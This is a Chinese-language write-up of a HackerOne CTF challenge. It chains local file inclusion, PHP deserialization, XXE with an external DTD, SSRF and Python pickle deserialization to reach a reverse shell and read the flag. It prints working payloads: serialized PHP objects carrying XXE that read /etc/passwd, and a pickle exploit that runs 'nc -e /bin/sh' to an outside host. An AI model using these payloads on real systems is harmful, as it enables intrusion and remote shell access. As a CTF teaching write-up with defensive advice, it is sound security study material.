Hackerone的一场CTF Writeup
字数 1599 2025-08-18 11:37:45

HackerOne CTF 竞赛 Writeup 深度解析

1. 初始信息收集

1.1 竞赛入口

  • 竞赛通过HackerOne推特发布的二维码图片开始
  • 二维码解码后获得URL编码的字符串
  • 处理方式:在每两个字符后添加'%'进行完整URL编码
  • 解码后获得目标网站:https://h1-5411.h1ctf.com

2. 目标网站分析

2.1 网站功能

  • 表情包生成网站
  • 功能流程:
    1. 选择模板图片
    2. 编辑顶部和底部文字
    3. 生成表情包展示在meme.php页面

2.2 请求观察

  • 生成表情包的请求包含template参数
  • 响应为JSON格式,包含服务器上本地表情包的路径信息

3. 漏洞发现与利用

3.1 本地文件包含(LFI)漏洞

  • template参数存在文件包含漏洞
  • 验证漏洞:
    • 成功获取/etc/passwd文件
    • 获取网站源码index.php

3.2 源码审计

  • 通过LFI获取完整源码:
    • 遍历获取源码中引用的每个php文件
  • 关键发现:
    • header.php中包含注释掉的导入/导出功能(2.0版本)
    • class.php中定义三个类:
      1. Template
      2. Maintenance(注释状态,属于内部服务)
      3. ConfigFile

3.3 ConfigFile类分析

  • 包含_toString魔术方法
  • _toString调用parse函数
  • parse函数加载外部XML,可能导致XXE漏洞

4. 反序列化漏洞利用

4.1 导出功能分析

  • 导出功能(export_memes_2.0.php):
    • 返回"memeapk"文件
    • 文件内容为PHP序列化数组的base64编码数据

4.2 导入功能分析

  • 导入功能(import_memes_2.0.php):
    • 接受base64编码的序列化字符串
    • 解码后反序列化PHP数组

4.3 漏洞利用链构建

  1. 创建ConfigFile对象实例
  2. 设置config_raw属性包含恶意XXE payload
  3. 序列化对象并base64编码
  4. 通过导入功能上传

4.4 XXE Payload示例

a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:94:"<!DOCTYPE replace [<!ENTITY ent SYSTEM 'file:///etc/passwd'> ]><a><toptext>&ent;</toptext></a>";}}

5. 漏洞升级:从XXE到RCE

5.1 尝试直接RCE

  • 尝试expect://模块失败

5.2 SSRF利用

  • 修改XXE payload获取外部DTD
  • 新序列化对象:
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:127:"<!DOCTYPE replace [<!ENTITY % outside SYSTEM 'http://<<redacted>>/exfil.dtd'> %outside; ]> <a><toptext>&exfil;</toptext></a>";}}

5.3 端口扫描发现

  • 编写脚本扫描本地端口
  • 发现响应异常的端口:1337
  • 访问http://localhost:1337/status?debug=true获得base64编码的python序列化对象

5.4 Python反序列化利用

  • 服务端使用python pickle反序列化
  • 构造恶意pickle对象执行命令:
import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('nc -e /bin/sh do.malloc.co.il 8193',))

shellcode = pickle.dumps(Exploit())
print(base64.b64encode(shellcode))

5.5 最终利用

  • 修改外部DTD包含恶意pickle对象
  • 触发XXE进而触发SSRF
  • SSRF导致python反序列化执行
  • 获得反向shell

6. 获取flag

  • 在获得的shell中执行ls发现flag.txt
  • 读取文件内容获得flag

7. 关键知识点总结

  1. QR码信息处理:识别和正确处理编码信息
  2. LFI漏洞利用:通过参数控制读取服务器文件
  3. 源码审计技巧:通过有限入口获取完整源码
  4. PHP反序列化
    • 识别可利用的魔术方法(_toString)
    • 构造合适的序列化对象
  5. XXE漏洞
    • 文件读取
    • 结合外部DTD的SSRF
  6. Python反序列化
    • pickle模块的安全风险
    • 构造恶意对象实现RCE
  7. 端口扫描技术:通过差异响应识别服务
  8. 漏洞链构建:将多个漏洞串联实现更高危害的攻击

8. 防御建议

  1. 对用户输入进行严格过滤和验证
  2. 禁用不必要的PHP魔术方法
  3. 限制文件包含操作的范围
  4. 禁用外部实体解析(XXE防护)
  5. 避免使用不安全的反序列化操作
  6. 内部服务应实施严格的访问控制
  7. 对敏感功能(如导入/导出)实施权限控制
  8. 定期进行安全审计和渗透测试
HackerOne CTF 竞赛 Writeup 深度解析 1. 初始信息收集 1.1 竞赛入口 竞赛通过HackerOne推特发布的二维码图片开始 二维码解码后获得URL编码的字符串 处理方式:在每两个字符后添加'%'进行完整URL编码 解码后获得目标网站:https://h1-5411.h1ctf.com 2. 目标网站分析 2.1 网站功能 表情包生成网站 功能流程: 选择模板图片 编辑顶部和底部文字 生成表情包展示在meme.php页面 2.2 请求观察 生成表情包的请求包含 template 参数 响应为JSON格式,包含服务器上本地表情包的路径信息 3. 漏洞发现与利用 3.1 本地文件包含(LFI)漏洞 template 参数存在文件包含漏洞 验证漏洞: 成功获取 /etc/passwd 文件 获取网站源码 index.php 3.2 源码审计 通过LFI获取完整源码: 遍历获取源码中引用的每个php文件 关键发现: header.php 中包含注释掉的导入/导出功能(2.0版本) class.php 中定义三个类: Template Maintenance (注释状态,属于内部服务) ConfigFile 3.3 ConfigFile类分析 包含 _toString 魔术方法 _toString 调用 parse 函数 parse 函数加载外部XML,可能导致XXE漏洞 4. 反序列化漏洞利用 4.1 导出功能分析 导出功能( export_memes_2.0.php ): 返回"memeapk"文件 文件内容为PHP序列化数组的base64编码数据 4.2 导入功能分析 导入功能( import_memes_2.0.php ): 接受base64编码的序列化字符串 解码后反序列化PHP数组 4.3 漏洞利用链构建 创建ConfigFile对象实例 设置 config_raw 属性包含恶意XXE payload 序列化对象并base64编码 通过导入功能上传 4.4 XXE Payload示例 5. 漏洞升级:从XXE到RCE 5.1 尝试直接RCE 尝试 expect:// 模块失败 5.2 SSRF利用 修改XXE payload获取外部DTD 新序列化对象: 5.3 端口扫描发现 编写脚本扫描本地端口 发现响应异常的端口:1337 访问 http://localhost:1337/status?debug=true 获得base64编码的python序列化对象 5.4 Python反序列化利用 服务端使用python pickle反序列化 构造恶意pickle对象执行命令: 5.5 最终利用 修改外部DTD包含恶意pickle对象 触发XXE进而触发SSRF SSRF导致python反序列化执行 获得反向shell 6. 获取flag 在获得的shell中执行 ls 发现 flag.txt 读取文件内容获得flag 7. 关键知识点总结 QR码信息处理 :识别和正确处理编码信息 LFI漏洞利用 :通过参数控制读取服务器文件 源码审计技巧 :通过有限入口获取完整源码 PHP反序列化 : 识别可利用的魔术方法( _toString ) 构造合适的序列化对象 XXE漏洞 : 文件读取 结合外部DTD的SSRF Python反序列化 : pickle模块的安全风险 构造恶意对象实现RCE 端口扫描技术 :通过差异响应识别服务 漏洞链构建 :将多个漏洞串联实现更高危害的攻击 8. 防御建议 对用户输入进行严格过滤和验证 禁用不必要的PHP魔术方法 限制文件包含操作的范围 禁用外部实体解析(XXE防护) 避免使用不安全的反序列化操作 内部服务应实施严格的访问控制 对敏感功能(如导入/导出)实施权限控制 定期进行安全审计和渗透测试